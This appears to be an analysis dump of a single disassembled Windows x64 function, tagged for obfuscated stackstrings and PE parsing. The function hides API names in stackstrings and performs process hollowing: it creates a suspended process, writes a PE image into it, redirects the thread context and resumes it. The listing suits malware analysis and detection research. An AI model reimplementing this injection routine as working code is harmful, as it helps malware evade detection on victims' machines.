Function at 0x1400105f4
Capabilities:
Contain obfuscated stackstrings
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r9
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x58]
sub rsp, 0x130
mov r12, r8
mov rdi, rdx
mov r14, rcx
xor ebx, ebx
mov r13b, bl
mov qword [rbp - 0x48], rbx
mov qword [rbp + 0x78], rbx
mov qword [rbp + 0x80], rbx
call fcn.140009ec4
mov esi, eax
mov r15b, byte [rbp + 0x98]
test r15b, r15b
je 0x1400106db
lea rcx, [rbp - 0x50]
call fcn.14001b6fc
nop
mov r9b, byte [rbp + 0x90]
lea r8, [rbp - 0x50]
lea rdx, [rbp - 0x48]
mov ecx, esi
call fcn.14001014c
xor esi, esi
test al, al
je 0x1400106ab
mov rcx, qword [rbp - 0x48]
test rcx, rcx
je 0x1400106ab
lea rax, [rbp + 0x80]
mov qword [rsp + 0x28], rax
call fcn.140021f00
test eax, eax
je 0x1400106ab
mov rdx, qword [rbp - 0x48]
lea rcx, [rbp + 0x78]
call fcn.140021fb0
movzx ebx, bl
test eax, eax
lea eax, [rsi + 1]
cmovne ebx, eax
lea rcx, [rbp - 0x50]
call fcn.14001b1ac
test bl, bl
jne 0x1400106dd
xor al, al
lea r11, [rsp + 0x130]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
xor esi, esi
mov dword [rbp - 0x74], 0x32336c65
mov word [rbp - 0x77], 0x7265
mov dword [rbp - 0x70], 0x6c6c642e
mov byte [rbp - 0x78], 0x4b
mov byte [rbp - 0x75], 0x6e
mov byte [rbp - 0x6c], sil
lea rcx, [rbp - 0x78]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rbx, rax
test rax, rax
je 0x1400106b8
mov dword [rbp - 0x61], 0x6f436461
mov dword [rbp - 0x5c], 0x74786574
mov dword [rbp - 0x68], 0x54746553
mov byte [rbp - 0x58], sil
mov word [rbp - 0x64], 0x7268
mov byte [rbp - 0x62], 0x65
mov byte [rbp - 0x5d], 0x6e
lea rdx, [rbp - 0x68]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14017d478], rax
mov word [rsp + 0x79], 0x7365
mov word [rsp + 0x7f], 0x7268
mov word [rsp + 0x7c], 0x656d
mov word [rbp - 0x7e], 0x6461
mov byte [rbp - 0x7f], 0x65
mov byte [rsp + 0x7b], 0x75
mov byte [rsp + 0x78], 0x52
mov byte [rsp + 0x7e], 0x54
mov byte [rbp - 0x7c], sil
lea rdx, [rsp + 0x78]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14017d470], rax
mov dword [rsp + 0x69], 0x636f7250
mov word [rsp + 0x63], 0x696d
mov dword [rsp + 0x6d], 0x737365
mov word [rsp + 0x66], 0x7461
mov word [rsp + 0x61], 0x7265
mov byte [rsp + 0x68], 0x65
mov byte [rsp + 0x65], 0x6e
mov byte [rsp + 0x60], 0x54
lea rdx, [rsp + 0x60]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14017d468], rax
mov eax, 0x5a4d
cmp word [r14], ax
jne 0x1400109ee
movsxd rbx, dword [r14 + 0x3c]
add rbx, r14
cmp dword [rbx], 0x4550
jne 0x1400109ee
lea rdx, [rbp + 0x98]
mov rcx, rdi
call fcn.14002214c
mov ecx, 0x14c
mov eax, dword [rbp + 0x98]
cmp word [rbx + 4], cx
jne 0x140010824
test eax, eax
jne 0x1400106b8
mov ecx, 0x8664
cmp word [rbx + 4], cx
jne 0x140010838
cmp eax, 6
jne 0x1400106b8
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], rax
xor edx, edx
lea r8d, [rax + 0x68]
lea rcx, [rbp - 0x40]
call fcn.1400599e0
mov dword [rbp - 0x40], 0x68
mov dword [rbp - 4], 0x101
mov word [rbp], si
lea rax, [rsp + 0x60]
test r15b, r15b
je 0x1400108a5
mov qword [rsp + 0x50], rax
lea rax, [rbp - 0x40]
mov qword [rsp + 0x48], rax
mov rax, qword [rbp + 0x78]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0x8000404
mov r8, r12
mov rdx, rdi
mov rcx, qword [rbp + 0x80]
call fcn.140022060
jmp 0x1400108be
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x40]
mov qword [rsp + 0x40], rax
mov rdx, r12
mov rcx, rdi
call fcn.140024fa8
test eax, eax
je 0x1400109ee
mov r12d, 8
mov edx, r12d
call fcn.140024020
mov rdi, rax
mov dword [rax + 0x30], 0x100002
mov rdx, rax
mov rcx, qword [rsp + 0x68]
call fcn.140022c30
mov rcx, qword [rsp + 0x60]
test eax, eax
je 0x1400109e6
mov rdx, qword [rdi + 0x88]
add rdx, 0x10
lea r8, [rsp + 0x78]
call fcn.140022d20
neg byte [rbp + 0x88]
sbb eax, eax
and eax, 0x3c
add eax, 4
mov r8d, dword [rbx + 0x50]
mov dword [rsp + 0x20], eax
xor edx, edx
mov rcx, qword [rsp + 0x60]
call fcn.14002409c
mov qword [rbp - 0x50], rax
mov rcx, qword [rsp + 0x60]
test rax, rax
je 0x1400109e6
mov r9d, dword [rbx + 0x54]
mov r8, r14
mov rdx, rax
call fcn.140022aa4
movzx esi, word [rbx + 0x14]
add rsi, 0x2c
xor eax, eax
mov r15d, eax
cmp ax, word [rbx + 6]
jae 0x14001099b
add rsi, rbx
lea r12d, [rax + 1]
mov r9d, dword [rsi - 4]
mov r8d, dword [rsi]
add r8, r14
mov edx, dword [rsi - 8]
add rdx, qword [rbp - 0x50]
mov rcx, qword [rsp + 0x60]
call fcn.140022aa4
lea rsi, [rsi + 0x28]
add r15d, r12d
movzx eax, word [rbx + 6]
cmp r15d, eax
jl 0x14001096a
mov r12d, 8
mov rdx, qword [rdi + 0x88]
add rdx, 0x10
mov r9, r12
lea r8, [rbp - 0x50]
mov rcx, qword [rsp + 0x60]
call fcn.140022aa4
mov eax, dword [rbx + 0x28]
add rax, qword [rbp - 0x50]
mov qword [rdi + 0x80], rax
mov rdx, rdi
mov rcx, qword [rsp + 0x68]
call qword [0x14017d478]
mov rcx, qword [rsp + 0x68]
call qword [0x14017d470]
xor esi, esi
lea r13d, [rsi + 1]
jmp 0x1400109ee
xor edx, edx
call qword [0x14017d468]
mov rcx, qword [rbp + 0x78]
test rcx, rcx
je 0x140010a00
call fcn.1400257f4
mov qword [rbp + 0x78], rsi
mov rcx, qword [rbp + 0x80]
test rcx, rcx
je 0x140010a18
call fcn.140024d1c
mov qword [rbp + 0x80], rsi
mov rcx, qword [rbp - 0x48]
test rcx, rcx
je 0x140010a26
call fcn.140024d1c
mov al, r13b
jmp 0x1400106ba